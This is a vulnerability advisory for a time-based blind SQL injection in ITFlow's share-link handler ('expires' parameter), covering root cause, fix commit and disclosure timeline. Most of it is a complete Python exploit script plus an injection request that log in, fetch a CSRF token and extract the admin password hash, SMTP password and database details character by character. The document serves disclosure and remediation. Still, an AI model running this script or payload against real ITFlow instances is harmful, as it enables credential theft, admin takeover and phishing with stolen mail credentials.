Summary
A time-based blind SQL injection vulnerability exists in ITFlow's share link generation handler. The expires GET parameter is passed directly into a MySQL INTERVAL expression without numeric validation. Although sanitizeInput() wraps the value with mysqli_real_escape_string(), this function only protects against quote-based injection — it provides zero protection in an unquoted numeric SQL context. Any authenticated user with module_support write permission can abuse this to perform boolean and time-based blind SQL injection and exfiltrate arbitrary data from the database.
CVE: CVE-2026-54597 | CVSS Score: High | Advisory: GHSA-m63v-j7fw-hq2h | Author: iltosec
Vulnerability Details
Root Cause
File: agent/ajax.php — Line 218
$item_expires = sanitizeInput($_GET['expires']);
// ...
$sql = mysqli_query($mysqli,
"INSERT INTO shared_items SET
...
item_expire_at = NOW() + INTERVAL + $item_expires,
item_client_id = $client_id"
);
sanitizeInput() calls mysqli_real_escape_string(), which escapes quote characters such as ', ", and \. These characters never appear in a valid INTERVAL value — making the function completely ineffective here.

The INTERVAL unit position is a raw SQL expression context. The attacker supplies the entire expr UNIT pair, for example:
IF((SELECT COUNT(*) FROM users)>0, SLEEP(2), 0) HOUR
MySQL evaluates the subquery before calculating the interval. This opens the full boolean and time-based blind injection model: character-by-character extraction of any value in the database.
Affected File
agent/ajax.php—share_generate_linkhandler,expiresparameter (line 218)
Proof of Concept
Prerequisites
- Valid account with
module_supportwrite permission - A credential record and its
client_idmust exist on the target
Injection Payload
GET /agent/ajax.php?share_generate_link=&item_type=Credential&item_id=1&client_id=1&expires=IF((SELECT+COUNT(*)+FROM+users)>0,SLEEP(2),0)+HOUR&email=t@t.com&view_limit=0&csrf_token=... HTTP/1.1
Host: itflow.com
Cookie: PHPSESSID=...
If the response is delayed by ~2 seconds, the injection is live.
Exploit Script
python3 exploit.py http://itflow.com iltosec@iltosec.com 'emsJ_;PD@@;-r>4' 1
The following PoC automates character-by-character extraction via binary search over time-based responses:
import sys
import time
import argparse
import requests
parser = argparse.ArgumentParser(
prog="exploit.py",
description="ITFlow — CVE-2026-54597 - Time-Based Blind SQL Injection PoC (agent/ajax.php expires) - by iltosec",
formatter_class=argparse.RawTextHelpFormatter,
epilog=(
"Examples:\n"
" python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1\n"
" python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --all\n"
" python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --adminhash --smtppass\n"
" python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --dbuser --dbversion"
),
)
parser.add_argument("url", help="Target base URL (e.g. http://itflow.com)")
parser.add_argument("email", help="Login email")
parser.add_argument("password", help="Login password")
parser.add_argument("cred_id", help="A valid credential ID on the target")
parser.add_argument("--adminhash", action="store_true", help="Extract admin password hash")
parser.add_argument("--smtppass", action="store_true", help="Extract SMTP password")
parser.add_argument("--dbuser", action="store_true", help="Extract MySQL current user")
parser.add_argument("--dbversion", action="store_true", help="Extract MySQL version")
parser.add_argument("--adminemail", action="store_true", help="Extract admin email address")
parser.add_argument("--all", action="store_true", help="Extract everything (overrides other flags)")
args = parser.parse_args()
if not (args.adminhash or args.smtppass or args.dbuser or
args.dbversion or args.adminemail or args.all):
args.adminhash = True
args.smtppass = True
BASE_URL = args.url.rstrip("/")
EMAIL = args.email
PASSWORD = args.password
CRED_ID = args.cred_id
DELAY = 2
THRESHOLD = 1.5
session = requests.Session()
csrf = None
client_id = "1"
def login(email, password):
r = session.post(
f"{BASE_URL}/login.php",
data={"email": email, "password": password, "login": ""},
allow_redirects=True,
)
return r.status_code == 200 and "logout" in r.text.lower()
def refresh_csrf():
global csrf
r = session.get(f"{BASE_URL}/agent/clients.php")
for line in r.text.splitlines():
if 'name="csrf_token"' in line and "value=" in line:
csrf = line.split('value="')[1].split('"')[0]
return True
return False
def reauth():
global csrf
print("\n[!] Session expired or invalid — re-authenticating")
email_new = input(" Email: ")
pass_new = input(" Password: ")
if not login(email_new, pass_new) or not refresh_csrf():
print("[-] Re-auth failed. Exiting.")
sys.exit(1)
print("[+] Re-authenticated")
def ask(condition):
payload = f"IF(({condition}),SLEEP({DELAY}),0) HOUR"
params = {
"share_generate_link": "",
"item_type": "Credential",
"item_id": CRED_ID,
"client_id": client_id,
"expires": payload,
"email": "t@t.com",
"view_limit": "0",
"csrf_token": csrf,
}
try:
t0 = time.time()
r = session.get(f"{BASE_URL}/agent/ajax.php", params=params, timeout=30)
elapsed = time.time() - t0
if r.status_code in (401, 403) or "login.php" in r.url:
reauth()
return ask(condition)
return elapsed >= THRESHOLD
except requests.RequestException as e:
print(f"\n[!] Request failed: {e}")
retry = input(" Retry? [Y/n]: ").strip().lower()
if retry != "n":
return ask(condition)
sys.exit(1)
def get_length(sql, max_len=80):
length = 0
for i in range(1, max_len + 1):
if ask(f"LENGTH(({sql}))>={i}"):
length = i
else:
break
return length
def extract(label, sql, max_len=80):
print(f"\n[*] {label}")
length = get_length(sql, max_len)
if length == 0:
print(" Result is empty or unreachable")
return "(empty)"
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi + 1) // 2
if ask(f"ORD(SUBSTR(({sql}),{pos},1))>={mid}"):
lo = mid
else:
hi = mid - 1
result += chr(lo)
print(f"\r [{pos}/{length}] {result:{max_len}}", end="", flush=True)
print()
return result
def get_client_id_from_page():
r = session.get(f"{BASE_URL}/agent/clients.php")
for line in r.text.splitlines():
if "client_id=" in line and "href" in line:
try:
return line.split("client_id=")[1].split("&")[0].split('"')[0].strip()
except Exception:
pass
return "1"
print("=" * 54)
print(" ITFlow — Time-Based Blind SQL Injection PoC - by iltosec")
print(" Endpoint : agent/ajax.php (expires parameter)")
print("=" * 54)
print()
print(f"[*] Logging in as {EMAIL} ...")
if not login(EMAIL, PASSWORD):
print("[!] Login failed")
EMAIL = input(" Email: ")
PASSWORD = input(" Password: ")
if not login(EMAIL, PASSWORD):
print("[-] Login failed. Exiting.")
sys.exit(1)
print("[+] Logged in")
if not refresh_csrf():
print("[-] Could not retrieve CSRF token. Exiting.")
sys.exit(1)
print(f"[+] CSRF token : {csrf[:12]}...")
client_id = get_client_id_from_page()
print(f"[+] client_id : {client_id}")
print()
print("[*] Verifying injection — IF((SELECT COUNT(*) FROM users)>0, SLEEP(2), 0) HOUR ...")
if ask("(SELECT COUNT(*) FROM users)>0"):
print("[+] CONFIRMED — SLEEP triggered, injection is live\n")
else:
print("[-] No delay detected — injection not working or request is blocked.")
sys.exit(1)
results = {}
if args.all or args.adminhash:
results["Admin Hash"] = extract(
"Admin password hash (bcrypt)",
"SELECT user_password FROM users WHERE user_id=1",
60,
)
if args.all or args.smtppass:
results["SMTP Password"] = extract(
"SMTP password (settings table)",
"SELECT config_smtp_password FROM settings WHERE company_id=1 LIMIT 1",
60,
)
if args.all or args.dbuser:
results["DB User"] = extract("MySQL current user", "SELECT user()", 30)
if args.all or args.dbversion:
results["DB Version"] = extract("MySQL version", "SELECT VERSION()", 30)
if args.all or args.adminemail:
results["Admin Email"] = extract(
"Admin email address",
"SELECT user_email FROM users WHERE user_id=1",
60,
)
print()
print("=" * 54)
print(" Results")
print("=" * 54)
for k, v in results.items():
print(f" {k:<16} : {v}")
print("=" * 54)
if "Admin Hash" in results and results["Admin Hash"] not in ("", "(empty)"):
print()
print()
Sample Output
Extracting admin hash and SMTP password from a live instance:

Impact
Successful exploitation leads to full database exfiltration:
- Full Admin Takeover — Extraction of admin bcrypt hash for offline cracking
- Mass Credential Exposure — All user password hashes extracted via blind channel
- SMTP Credential Theft — Plaintext SMTP credentials readable from the
settingstable - Chained Phishing — Exposed SMTP credentials enable email spoofing and phishing campaigns
- Persistent Access — Any data in any table is reachable within the time-based extraction model
Fix
Commit 63d8691 resolves this vulnerability.
The correct remediation treats expires as a strict integer — never as a raw SQL fragment:
- Integer casting — Force the incoming value to an integer type before it reaches the query, stripping any non-numeric SQL syntax entirely
- Hardcoded unit — The time unit (
HOUR,DAY, etc.) must be hardcoded in the query string, not derived from user input - Strict whitelist — If the unit must remain dynamic, validate it against a predefined list of allowed keywords and reject anything else
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-05-19 | Vulnerability discovered and reported to ITFlow via GitHub Security Advisory |
| 2026-05-19 | Vendor acknowledged |
| 2026-05-20 | Fix committed — 63d8691 |
| 2026-06-02 | Advisory closed |
| 2026-06-06 | CVE requested via GitHub Security Advisory |
| 2026-06-15 | CVE-2026-54597 assigned / published |